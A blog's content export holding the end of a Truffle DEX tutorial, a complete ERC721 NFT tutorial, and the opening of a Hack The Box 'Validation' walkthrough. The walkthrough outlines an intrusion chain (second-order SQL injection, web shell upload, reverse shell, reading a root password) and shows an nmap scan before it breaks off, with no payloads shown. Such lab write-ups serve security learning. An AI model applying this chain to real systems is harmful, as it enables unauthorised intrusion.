tokenAmount0); pool.approvePoolTokenAmount(pool.tokenAddress1(), tokenAmount1); // transfer tokens to the user IERC20(pool.tokenAddress0()).transferFrom(address(pool), msg.sender, tokenAmount0); IERC20(pool.tokenAddress1()).transferFrom(address(pool), msg.sender, tokenAmount1); } /** * @notice Sells a given amount of input token for output token * @param _tokenAddressIn address of the ERC20 token that user wants to sell * @param _tokenAmountIn amoint of ERC20 token that user wants to sell * @param _tokenAddressOut address of the output ERC20 token which user wants to buy */ function swap( address _tokenAddressIn, uint256 _tokenAmountIn, address _tokenAddressOut ) external { // get a pool contract ExchangePool pool = ExchangePool(getPoolAddress(_tokenAddressIn, _tokenAddressOut)); // check that pool exists require(address(pool) != address(0), \u0026#39;POOL_DOES_NOT_EXIST\u0026#39;); // check that user has enough tokens to sell require(IERC20(_tokenAddressIn).balanceOf(msg.sender) \u0026gt;= _tokenAmountIn, \u0026#39;NOT_ENOUGH_BALANCE\u0026#39;); // calculate the amount of out token that user should get for selling input token uint k = IERC20(pool.tokenAddress0()).balanceOf(address(pool)) * IERC20(pool.tokenAddress1()).balanceOf(address(pool)); uint256 tokenAmountInAfter = _tokenAmountIn + IERC20(_tokenAddressIn).balanceOf(address(pool)); uint256 tokenAmountOutAfter = k / tokenAmountInAfter; uint256 tokenAmountOut = IERC20(_tokenAddressOut).balanceOf(address(pool)) - tokenAmountOutAfter; // ensure that pool is not competely emptied if (tokenAmountOut == IERC20(_tokenAddressOut).balanceOf(address(pool))) tokenAmountOut--; // approve exchange to transfer pool tokens pool.approvePoolTokenAmount(_tokenAddressOut, tokenAmountOut); // make a swap ERC20(_tokenAddressIn).transferFrom(msg.sender, address(pool), _tokenAmountIn); ERC20(_tokenAddressOut).transferFrom(address(pool), msg.sender, tokenAmountOut); } //================ // Owner methods //================ /** * @notice Creates a new pool * @param _tokenAddress0 1st ERC20 token address in the pool * @param _tokenAddress1 2nd ERC20 token address in the pool */ function createPool(address _tokenAddress0, address _tokenAddress1) external onlyOwner { // sort addresses (address sortedTokenAddress0, address sortedTokenAddress1) = sortAddresses(_tokenAddress0, _tokenAddress1); // check that pool does not exist require(pools[sortedTokenAddress0][sortedTokenAddress1] == address(0), \u0026#39;POOL_EXISTS\u0026#39;); // create a pool ExchangePool pool = new ExchangePool(sortedTokenAddress0, sortedTokenAddress1); pools[sortedTokenAddress0][sortedTokenAddress1] = address(pool); } } Owner method createPool() creates a new liquidity pool. Token addresses can be passed in any order as they are sorted inside.\nPublic method getPoolAddress() returns a pool address by 2 provided ERC20 token addresses.\nPublic method sortAddresses() sorts 2 addresses as strings.\nPublic method addLiquidity() adds 2 ERC20 token amounts to the liquidity pool.\nHow it works:\nUser approves an exchange contract to spend his CAT and DOG tokens. User calls addLiquidity() method. Exchange transfers user’s CAT and DOG tokens to the liquidity pool address. Exchange (via pool) mints user LP tokens for provided liquidity. Public method removeLiquidity() burns user’s LP tokens and sends ERC20 tokens from the pool to the user.\nHow it works:\nUser calls removeLiquidity() and provides the amount of LP tokens he wants to burn. Exchange (via pool) burns user’s LP tokens. Exchange asks pool approval to transfer tokens from the pool address. Exchange transfers a pair of ERC20 tokens from the pool address to the user address. Public method swap() sells the provided amount of token A to buy a maximum amount of token B.\nHow it works:\nUser approves exchange to transfer 1 CAT token from user address User sells 1 CAT token to get a maximum amount of DOG token Exchange calculates amount of DOG token that user will get for 1 CAT token Exchange asks pool contract to approve transfer of DOG tokens from the pool address Exchange transfers 1 CAT token from user address to the pool address Exchange transfers a calculated amount of DOG token form the pool address to the user address. Now run truffle compile to check that there are no errors:\nCompiling your contracts... =========================== \u0026gt; Compiling ./contracts/ERC20Testable.sol \u0026gt; Compiling ./contracts/Exchange.sol \u0026gt; Compiling ./contracts/ExchangePool.sol \u0026gt; Compiling ./contracts/Migrations.sol \u0026gt; Compiling @openzeppelin/contracts/access/Ownable.sol \u0026gt; Compiling @openzeppelin/contracts/token/ERC20/ERC20.sol \u0026gt; Compiling @openzeppelin/contracts/token/ERC20/IERC20.sol \u0026gt; Compiling @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol \u0026gt; Compiling @openzeppelin/contracts/utils/Context.sol \u0026gt; Artifacts written to /Users/user/Public/projects/truffle/exchange/build/contracts \u0026gt; Compiled successfully using: - solc: 0.8.13+commit.abaa5c0e.Emscripten.clang Creating a migration Open a new console window and run ganache to start a development blockchain.\nAdd ganache config to the truffle-config.js file:\nmodule.exports = { networks: { development: { host: \u0026#34;127.0.0.1\u0026#34;, // Localhost (default: none) port: 8545, // Standard Ethereum port (default: none) network_id: \u0026#34;*\u0026#34;, // Any network (default: none) }, }, // Set default mocha options here, use special reporters etc. mocha: { // timeout: 100000 }, // Configure your compilers compilers: { solc: { version: \u0026#34;0.8.13\u0026#34;, // Fetch exact version from solc-bin (default: truffle\u0026#39;s version) } }, }; In the migrations folder create a new file 2_deploy_exchange.js with the following content:\nconst Exchange = artifacts.require(\u0026#34;Exchange\u0026#34;); module.exports = function (deployer) { deployer.deploy(Exchange); }; Now run truffle migrate to check that migration to blockchain works:\nCompiling your contracts... =========================== \u0026gt; Everything is up to date, there is nothing to compile. Starting migrations... ====================== \u0026gt; Network name: \u0026#39;development\u0026#39; \u0026gt; Network id: 1653052637674 \u0026gt; Block gas limit: 30000000 (0x1c9c380) 1_initial_migration.js ====================== Deploying \u0026#39;Migrations\u0026#39; ---------------------- \u0026gt; transaction hash: 0x4e216c8fea1f31339bf55153d735ef93de9c2c8926d78a19def44656cd5c68b7 \u0026gt; Blocks: 0 Seconds: 0 \u0026gt; contract address: 0xb4Bdb14518fe27C4ba302a1aD01DF08A9DBFc85b \u0026gt; block number: 1 \u0026gt; block timestamp: 1653052653 \u0026gt; account: 0x712C05fC76E6aE01E699b0054445F6AC557E4aFa \u0026gt; balance: 999.99915573025 \u0026gt; gas used: 250154 (0x3d12a) \u0026gt; gas price: 3.375 gwei \u0026gt; value sent: 0 ETH \u0026gt; total cost: 0.00084426975 ETH \u0026gt; Saving migration to chain. \u0026gt; Saving artifacts ------------------------------------- \u0026gt; Total cost: 0.00084426975 ETH 2_deploy_exchange.js ==================== Deploying \u0026#39;Exchange\u0026#39; -------------------- \u0026gt; transaction hash: 0x35321ca4f1fb87022c52f87c965ed8d3431a62d3eace2d8a1364b7b26e1f4aa8 \u0026gt; Blocks: 0 Seconds: 0 \u0026gt; contract address: 0x132631C05E87F0Db5901Ec8BA2Ef176264EC8049 \u0026gt; block number: 3 \u0026gt; block timestamp: 1653052654 \u0026gt; account: 0x712C05fC76E6aE01E699b0054445F6AC557E4aFa \u0026gt; balance: 999.985869847837396103 \u0026gt; gas used: 4141439 (0x3f317f) \u0026gt; gas price: 3.171811543 gwei \u0026gt; value sent: 0 ETH \u0026gt; total cost: 0.013135864024830377 ETH \u0026gt; Saving migration to chain. \u0026gt; Saving artifacts ------------------------------------- \u0026gt; Total cost: 0.013135864024830377 ETH Summary ======= \u0026gt; Total deployments: 2 \u0026gt; Final cost: 0.013980133774830377 ETH Writing tests In the test folder create a new file Exchange.test.js with the following content:\nconst Exchange = artifacts.require(\u0026#39;Exchange\u0026#39;); const ExchangePool = artifacts.require(\u0026#39;ExchangePool\u0026#39;); const ERC20 = artifacts.require(\u0026#39;ERC20Testable\u0026#39;); const ZERO_ADDRESS = \u0026#39;0x0000000000000000000000000000000000000000\u0026#39;; /** * Helper methods */ async function getPoolContract(exchange, tokenAddress1, tokenAddress2) { const sortedAddresses = sortStrings(tokenAddress1, tokenAddress2); const poolAddress = await exchange.pools(sortedAddresses[0], sortedAddresses[1]); return ExchangePool.at(poolAddress); } function sortStrings(str1, str2) { return str1 \u0026lt; str2 ? [str1, str2] : [str2, str1]; } contract(\u0026#39;Exchange\u0026#39;, (accounts) =\u0026gt; { let exchange = null; let catToken = null; let dogToken = null; const ownerAddress = accounts[0]; const userAddress = accounts[1]; beforeEach(async () =\u0026gt; { // deploy exchange exchange = await Exchange.new({from: ownerAddress}); // deploy CAT and DOG tokens catToken = await ERC20.new(\u0026#39;CAT TOKEN\u0026#39;, \u0026#39;CAT\u0026#39;); dogToken = await ERC20.new(\u0026#39;DOG TOKEN\u0026#39;, \u0026#39;DOG\u0026#39;); }); }); Here we added 2 helper methods for convenience. Also before each test we’re going to create a new exchange contract, a new instance of the CAT token and a new instance of the DOG token.\nWe’re going to cover only basic methods. All tests can be found here: https://github.com/ryzhak/dex-demo/blob/master/test/Exchange.test.js\nLet’s add some liquidity:\nit(\u0026#39;should mint LP tokens and transfer ERC20 tokens to the pool\u0026#39;, async () =\u0026gt; { // owner creates CAT/DOG pool await exchange.createPool(catToken.address, dogToken.address, { from: ownerAddress }); // get pool contract const pool = await getPoolContract(exchange, catToken.address, dogToken.address); // mint 10 CAT and 100 DOG tokens to user address await catToken.mint(userAddress, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: ownerAddress }); await dogToken.mint(userAddress, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: ownerAddress }); // approve exchange to spend tokens await catToken.approve(exchange.address, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: userAddress }); await dogToken.approve(exchange.address, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // balances before assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;100\u0026#39;)); assert.equal((await pool.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); // user adds liquidity await exchange.addLiquidity(catToken.address, dogToken.address, web3.utils.toWei(\u0026#39;10\u0026#39;), web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // balances after assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await pool.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;) * web3.utils.toWei(\u0026#39;100\u0026#39;)); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;100\u0026#39;)); }); Run truffle test:\nUsing network \u0026#39;development\u0026#39;. Compiling your contracts... =========================== \u0026gt; Everything is up to date, there is nothing to compile. Contract: Exchange addLiquidity() ✔ should mint LP tokens and transfer ERC20 tokens to the pool (1131ms) 1 passing (2s) Now let’s make a swap:\nit(\u0026#39;should sell ERC20 token\u0026#39;, async () =\u0026gt; { // owner creates CAT/DOG pool await exchange.createPool(catToken.address, dogToken.address, { from: ownerAddress }); // get pool contract const pool = await getPoolContract(exchange, catToken.address, dogToken.address); // mint 10 CAT and 100 DOG tokens to user address await catToken.mint(userAddress, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: ownerAddress }); await dogToken.mint(userAddress, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: ownerAddress }); // approve exchange to spend tokens await catToken.approve(exchange.address, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: userAddress }); await dogToken.approve(exchange.address, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // user adds liquidity await exchange.addLiquidity(catToken.address, dogToken.address, web3.utils.toWei(\u0026#39;10\u0026#39;), web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // mint 1 CAT token to user address await catToken.mint(userAddress, web3.utils.toWei(\u0026#39;1\u0026#39;), { from: ownerAddress }); // approve exchange to transfer 1 CAT token await catToken.approve(exchange.address, web3.utils.toWei(\u0026#39;1\u0026#39;), { from: userAddress }); // balances before assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;1\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;100\u0026#39;)); // user sells 1 CAT token await exchange.swap(catToken.address, web3.utils.toWei(\u0026#39;1\u0026#39;), dogToken.address, { from: userAddress }); // balances after assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), \u0026#39;9090909090909090910\u0026#39;); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;11\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), \u0026#39;90909090909090909090\u0026#39;); }); Again run truffle test:\nUsing network \u0026#39;development\u0026#39;. Compiling your contracts... =========================== \u0026gt; Everything is up to date, there is nothing to compile. Contract: Exchange swap() ✔ should sell ERC20 token (1840ms) 1 passing (3s) And finally let’s remove liquidity:\nit(\u0026#39;should burn LP tokens and transfer ERC20 tokens back to the user\u0026#39;, async () =\u0026gt; { // owner creates CAT/DOG pool await exchange.createPool(catToken.address, dogToken.address, { from: ownerAddress }); // get pool contract const pool = await getPoolContract(exchange, catToken.address, dogToken.address); // mint 10 CAT and 100 DOG tokens to user address await catToken.mint(userAddress, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: ownerAddress }); await dogToken.mint(userAddress, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: ownerAddress }); // approve exchange to spend tokens await catToken.approve(exchange.address, web3.utils.toWei(\u0026#39;10\u0026#39;), { from: userAddress }); await dogToken.approve(exchange.address, web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // user adds liquidity await exchange.addLiquidity(catToken.address, dogToken.address, web3.utils.toWei(\u0026#39;10\u0026#39;), web3.utils.toWei(\u0026#39;100\u0026#39;), { from: userAddress }); // balances before assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await pool.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;) * web3.utils.toWei(\u0026#39;100\u0026#39;)); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;100\u0026#39;)); // user removes liquidity const lpTokensAmount = web3.utils.toBN(web3.utils.toWei(\u0026#39;10\u0026#39;)).mul(web3.utils.toBN(web3.utils.toWei(\u0026#39;100\u0026#39;))).toString(); await exchange.removeLiquidity(catToken.address, dogToken.address, lpTokensAmount, { from: userAddress }); // balances after assert.equal((await catToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;10\u0026#39;)); assert.equal((await dogToken.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;100\u0026#39;)); assert.equal((await pool.balanceOf(userAddress)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await catToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); assert.equal((await dogToken.balanceOf(pool.address)).toString(), web3.utils.toWei(\u0026#39;0\u0026#39;)); }); Run truffle test:\nUsing network \u0026#39;development\u0026#39;. Compiling your contracts... =========================== \u0026gt; Everything is up to date, there is nothing to compile. Contract: Exchange removeLiquidity() ✔ should burn LP tokens and transfer ERC20 tokens back to the user (1304ms) 1 passing (2s) Summary In this tutorial we learned how decentralized exchanges work, learned what AMM is, created a basic DEX with add/remove liquidity and swap features, and wrote tests to check that everything works as expected. Now you should have a basic understanding of how DEX works.\n","permalink":"https://www.ryzhak.com/how-to-create-your-own-uniswap/","summary":"In this tutorial we’re going to build a very basic decentralized exchange (DEX) like \u003ca href=\"https://uniswap.org/\"\u003eUniswap\u003c/a\u003e or \u003ca href=\"https://pancakeswap.finance/\"\u003ePancakeSwap\u003c/a\u003e.","title":"How to create your own Uniswap"},{"content":"In this tutorial we’re going to create our own ERC721 NFT collection and publish it on the Opensea marketplace.\nOur NFT collection will consist of 3 items of dog images. You can find the collection here: https://drive.google.com/drive/folders/1eV9RCOhXCkBmWvMHURyRI21sWfmW-W0S?usp=sharing. We are going to publish this collection on the Opensea rinkeby testnet.\nHere is the result collection: https://testnets.opensea.io/collection/my-nft-dogs-v2\nThe full source code: https://github.com/ryzhak/my-nft\nHow it works basically:\nCreate NFT images and upload them to IPFS (or whenever you want) Create metadata files describing those NFT images and upload them to IPFS(or whenever you want). Create an NFT smart contract. Deploy NFT smart contract. Publish NFT collection on Opensea. Initial setup Create a new folder my-nft somewhere on your hard drive. Inside the my-nft folder run npm init -y to initialize an empty npm project. Then run npm install truffle -g to install the truffle framework globally.\nInitialize a new truffle project via truffle init. Then run npm install @openzeppelin/contracts \u0026ndash;save to install Openzeppelin contacts. Openzeppelin maintains a set of community trusted smart contracts where you can also find ERC721 contracts for NFT collections.\nCreating NFT images Luckily for us we already have our images designed. You can find them at https://drive.google.com/drive/folders/1eV9RCOhXCkBmWvMHURyRI21sWfmW-W0S?usp=sharing. Create a new folder images in the project root and copy all 3 dog images there.\nWe are going to use the https://nft.storage/ service to upload our images to IPFS. To upload any files to https://nft.storage we need to convert those files to the CAR format.\nRun npm i ipfs-car \u0026ndash;save to install the converter. Now convert the images folder to the images.car format via ./node_modules/.bin/ipfs-car \u0026ndash;pack images \u0026ndash;output images.car.\nThen go to https://nft.storage/files/ and upload images.car file.\nCreating NFT metadata Each image must have a corresponding metadata according to Opensea docs. Create a new folder metadata in the project root.\nCreate a file “1” (without any extension) with the following JSON content:\n{ \u0026#34;description\u0026#34; : \u0026#34;Friendly Doggo that enjoys life.\u0026#34;, \u0026#34;image\u0026#34; : \u0026#34;https://bafybeidw7n7catw5jra6judyqvufifesqleijiaqxc6qhqupalbvogfdna.ipfs.nftstorage.link/images/1.png\u0026#34;, \u0026#34;name\u0026#34; : \u0026#34;John Dog\u0026#34; } Create a file “2” (without extensions) for the token with id 2:\n{ \u0026#34;description\u0026#34; : \u0026#34;Friendly Doggo that enjoys life.\u0026#34;, \u0026#34;image\u0026#34; : \u0026#34;https://bafybeidw7n7catw5jra6judyqvufifesqleijiaqxc6qhqupalbvogfdna.ipfs.nftstorage.link/images/2.png\u0026#34;, \u0026#34;name\u0026#34; : \u0026#34;Bob Dog\u0026#34; } Create a file “3” (without extensions) for the token with id 3:\n{ \u0026#34;description\u0026#34; : \u0026#34;Friendly Doggo that enjoys life.\u0026#34;, \u0026#34;image\u0026#34; : \u0026#34;https://bafybeidw7n7catw5jra6judyqvufifesqleijiaqxc6qhqupalbvogfdna.ipfs.nftstorage.link/images/3.png\u0026#34;, \u0026#34;name\u0026#34; : \u0026#34;Snoop Dog\u0026#34; } Now convert the metadata folder to metadata.car format via ./node_modules/.bin/ipfs-car \u0026ndash;pack metadata \u0026ndash;output metadata.car. Then go to https://nft.storage/files/ and upload the metadata.car file there. The URL from https://nft.storage/files/ which contains the metadata folder is going to be our base token URI in the ERC721 NFT smart contract.\nCreating ERC721 NFT contract Run truffle create contract MyNFT to create a new contract. Edit the contracts/MyNFT.sol file:\n// SPDX-License-Identifier: MIT pragma solidity \u0026gt;=0.4.22 \u0026lt;0.9.0; import \u0026#34;@openzeppelin/contracts/access/Ownable.sol\u0026#34;; import \u0026#34;@openzeppelin/contracts/token/ERC721/ERC721.sol\u0026#34;; import \u0026#34;@openzeppelin/contracts/utils/Counters.sol\u0026#34;; /** * @title Our NFT contract */ contract MyNFT is ERC721, Ownable { // use Counters library using Counters for Counters.Counter; // max supply is 10k items uint256 public constant TOTAL_SUPPLY = 10000; // token counter Counters.Counter private currentTokenId; // base token URI for metadata string public baseTokenURI; /** * Contract constructor */ constructor() ERC721(\u0026#34;My NFT dogs\u0026#34;, \u0026#34;NFTDGS\u0026#34;) { baseTokenURI = \u0026#34;\u0026#34;; } /** * @dev Mints a new token to recipient address * @param recipient new token owner address * @return tokenId minted token id */ function mintTo(address recipient) public onlyOwner returns (uint256) { // check that max supply is not reached uint256 tokenId = currentTokenId.current(); require(tokenId \u0026lt; TOTAL_SUPPLY, \u0026#34;Max supply reached\u0026#34;); // increase current token count and mint it to a new owner currentTokenId.increment(); uint256 newItemId = currentTokenId.current(); _safeMint(recipient, newItemId); return newItemId; } /** * @dev Sets base token URI * @param _baseTokenURI base token URI */ function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner { baseTokenURI = _baseTokenURI; } /** * @dev Returns base token URL * @return baseTokenURI base token URI */ function _baseURI() internal virtual override view returns (string memory) { return baseTokenURI; } } Above we created a smart contract with the following features:\nNFT token description: “My NFT dogs” NFT token short name: “NFTDGS” Max supply is restricted to 10k items Only owner can mint new items Only owner can set base token URI Run truffle compile to create contract build files.\nNotice about token URIs.\nEach NFT token should have a unique URI which is basically a URL address. Example of token URI with id 1: https://example.com/tokens/1. When dealing with Opensea this URI should return a JSON file with metadata in a special format. This format also contains the image field which is basically our NFT image. Our smart contract has a method setBaseTokenURI which must set the base URL for token URI (https://example.com/tokens/) on contract deploy.\nYou can check how token URI is created here https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L97. If base token URI exists then concatenate base token url with token number. If the base token URI does not exist then return an empty string.\nSo you can see that anything can be converted to NFT.\nDeploying NFT smart contract Install metamask and create a new account. Save your mnemonic seed phrase as we are going to use it later.\nIn metamask connect to the rinkeby network. Use any rinkeby faucet to send some ETH to the 1st account in your metamask wallet.\nRegister at https://www.alchemy.com/ and create a new app connected to the rinkeby network. In the alchemy dashboard you should see the API_URL which we are going to use later.\nInstall library for working with accounts via npm install @truffle/hdwallet-provider \u0026ndash;save.\nRun npm install dotenv \u0026ndash;save to install dotenv library (which helps to store secrets in a pretty secure way).\nCreate a new .env in the project root with the following content:\nAPI_URL = \u0026#34;https://eth-rinkeby.alchemyapi.io/v2/YOUR_API_KEY\u0026#34; MNEMONIC = \u0026#34;YOUR_MNEMONIC\u0026#34; Here API_URL is the Alchemy API URL (which you can find in the Alchemy dashboard) and MNEMONIC is your seed phrase which you used when creating a new account in metamask wallet.\nUpdate your truffle-config.js file:\nrequire(\u0026#39;dotenv\u0026#39;).config(); const HDWalletProvider = require(\u0026#34;@truffle/hdwallet-provider\u0026#34;); const { API_URL, MNEMONIC } = process.env; module.exports = { // Configure available networks networks: { rinkeby: { provider: function() { return new HDWalletProvider(MNEMONIC, API_URL) }, network_id: 4, } }, // Configure your compilers compilers: { solc: { version: \u0026#34;0.8.13\u0026#34;, // Fetch exact version from solc-bin (default: truffle\u0026#39;s version) } }, }; Here we added a rinkeby network configuration.\nNow create a new file migrations/2_deploy_contracts.js with the following content:\nconst MyNFT = artifacts.require(\u0026#34;MyNFT\u0026#34;); module.exports = async function(deployer, network, accounts) { // deploy our NFT contract await deployer.deploy(MyNFT); // get contract instance const instance = await MyNFT.deployed(); // set base token URL await instance.setBaseTokenURI(\u0026#39;https://bafybeicc6yg3ramjkhwvyfouyfi4apb4fejepv76dn75dzm4jxetus23cq.ipfs.nftstorage.link/metadata/\u0026#39;); // mint 3 tokens to our address for (let i = 0; i \u0026lt; 3; i++) { await instance.mintTo(accounts[0]); } }; Here we:\nDeploy our NFT contract Set base token URI. NOTICE: you should update base token URI in the script to your own address. Base token URL is the metadata folder url which you can find at https://nft.storage/files/. Mint 3 NFT tokens to our own address. Now run truffle migrate \u0026ndash;network rinkeby to deploy the smart contract to the rinkeby testnet. You should see the following console output:\nStarting migrations... ====================== \u0026gt; Network name: \u0026#39;rinkeby\u0026#39; \u0026gt; Network id: 4 \u0026gt; Block gas limit: 29970705 (0x1c95111) 1_initial_migration.js ====================== Replacing \u0026#39;Migrations\u0026#39; ---------------------- \u0026gt; transaction hash: 0xe6c2dd2925f686fe22a271f008d99722526d97db2796078c4711a7141c8203bc \u0026gt; Blocks: 0 Seconds: 9 \u0026gt; contract address: 0xB0b29c4933C8bd4dcB13E53339EED35e04710631 \u0026gt; block number: 10463184 \u0026gt; block timestamp: 1649339444 \u0026gt; account: 0x034A68a6BA5a51a5EF4CdD475a6331256cfDcA03 \u0026gt; balance: 0.083991899669164336 \u0026gt; gas used: 250154 (0x3d12a) \u0026gt; gas price: 2.514751843 gwei \u0026gt; value sent: 0 ETH \u0026gt; total cost: 0.000629075232533822 ETH ✓ Saving migration to chain. \u0026gt; Saving migration to chain. \u0026gt; Saving artifacts ------------------------------------- \u0026gt; Total cost: 0.000629075232533822 ETH 2_deploy_contracts.js ===================== Replacing \u0026#39;MyNFT\u0026#39; ----------------- \u0026gt; transaction hash: 0x3d1faead29d46c578e65714361aef5715d13c25e5bbb7a1ff407e982ba9e5dc8 \u0026gt; Blocks: 0 Seconds: 13 \u0026gt; contract address: 0xD0cF0b4D240AaA7b4FE67723FC995779c01b4fE3 \u0026gt; block number: 10463186 \u0026gt; block timestamp: 1649339474 \u0026gt; account: 0x034A68a6BA5a51a5EF4CdD475a6331256cfDcA03 \u0026gt; balance: 0.076854131562758228 \u0026gt; gas used: 2792278 (0x2a9b56) \u0026gt; gas price: 2.514903752 gwei \u0026gt; value sent: 0 ETH \u0026gt; total cost: 0.007022310418827056 ETH ✓ Saving migration to chain. \u0026gt; Saving migration to chain. \u0026gt; Saving artifacts ------------------------------------- \u0026gt; Total cost: 0.007022310418827056 ETH Summary ======= \u0026gt; Total deployments: 2 \u0026gt; Final cost: 0.007651385651360878 ETH You can see that our NFT contract is deployed at address 0xD0cF0b4D240AaA7b4FE67723FC995779c01b4fE3.\nPublishing NFT collection on Opensea Now open Opensea get listed page, click on the “Live on a testnet” button, enter your NFT contract address and hit “Submit”. You should see your NFT collection live https://testnets.opensea.io/collection/my-nft-dogs-v2.\nThe full source code can be found here: https://github.com/ryzhak/my-nft\nSummary In this tutorial we learned how to deploy images and metadata to IPFS, created our own NFT smart contract, deployed it on the rinkeby testnet and published our NFT collection on Opensea. Now you should have a basic understanding of how NFTs work.\n","permalink":"https://www.ryzhak.com/how-to-create-your-own-erc721-nft-collection-and-publish-it-on-opensea/","summary":"In this tutorial we’re going to create our own ERC721 NFT collection and publish it on the \u003ca href=\"https://opensea.io/\"\u003eOpensea marketplace\u003c/a\u003e.","title":"How to create your own ERC721 NFT collection and publish it on Opensea"},{"content":"In this tutorial we will get root access for the Validation machine from Hack The Box.\nTLDR Run port scan Find web app on port 80 Find 2nd order SQLi in the country param. Upload a web shell as DB user has FILE permission. Create a reverse shell. Find root password in the /var/www/html/config.php file. Walkthrough At first we run the port scan nmap -p1-65535 -v 10.10.11.116:\nvladimir@comp:~$ nmap -p1-65535 -v 10.10.11.116 Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-23 13:25 MSK Initiating Ping Scan at 13:25 Scanning 10.10.11.116 [2 ports] Completed Ping Scan at 13:25, 0.11s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:25 Completed Parallel DNS resolution of 1 host. at 13:25, 0.00s elapsed Initiating Connect Scan at 13:25 Scanning 10.10.11.116 [65535 ports] Discovered open port 8080/tcp on 10.10.11.116 Discovered open port 22/tcp on 10.10.11.116 Discovered open port 80/tcp on 10.10.11.116 Connect Scan Timing: About 3.13% done; ETC: 13:41 (0:15:59 remaining) Connect Scan Timing: About 5.91% done; ETC: 13:43 (0:16:59 remaining) Connect Scan Timing: About 9.01% done; ETC: 13:42 (0:15:49 remaining) Increasing send delay for 10.10.11.116 from 0 to 5 due to max_successful_tryno increase to 4 Discovered open port 4566/tcp on 10.10.11.116 Connect Scan Timing: About 21.65% done; ETC: 13:44 (0:14:54 remaining) Increasing send delay for 10.10.11.116 from 5 to 10 due to max_successful_tryno increase to 5 Connect Scan Timing: About 29.28% done; ETC: 13:44 (0:13:56 remaining) Connect Scan Timing: About 35.47% done; ETC: 13:45 (0:12:57 remaining) Connect Scan Timing: About 40.78% done; ETC: 13:45 (0:11:52 remaining) Connect Scan Timing: About 46.50% done; ETC: 13:45 (0:10:50 remaining) Increasing send delay for 10.10.11.116 from 10 to 20 due to max_successful_tryno increase to 6 Increasing send delay for 10.10.11.116 from 20 to 40 due to max_successful_tryno increase to 7 Connect Scan Timing: About 61.03% done; ETC: 13:50 (0:09:49 remaining) Connect Scan Timing: About 69.58% done; ETC: 13:53 (0:08:33 remaining) Connect Scan Timing: About 76.05% done; ETC: 13:55 (0:07:08 remaining) Connect Scan Timing: About 81.94% done; ETC: 13:56 (0:05:37 remaining) Connect Scan Timing: About 87.45% done; ETC: 13:57 (0:04:03 remaining) Connect Scan Timing: About 92.68% done; ETC: 13:58 (0:02:26 remaining) Connect Scan Timing: About 97.74% done; ETC: 13:59 (0:00:46 remaining) Completed Connect Scan at 13:59, 2083.66s elapsed (65535 total ports) Nmap scan report for 10.10.11.116 Host is up (0.11s latency). Not shown: 65522 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 4566/tcp open kwtc 5000/tcp filtered upnp 5001/tcp filtered commplex-link 5002/tcp filtered rfe 5003/tcp filtered filemaker 5004/tcp filtered avt-profile-1 5005/tcp filtered avt-profile-2 5006/tcp filtered wsm-server 5007/tcp filtered wsm-server-ssl 5008/tcp filtered synapsis-edge 8080/tcp open http-proxy Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2083.80 seconds If we open http://10.10.11.116:80 we will see a registration page:\nWhen you register a new user you are redirected to the account.php page with a list of all users. When you intercept the request there are 2 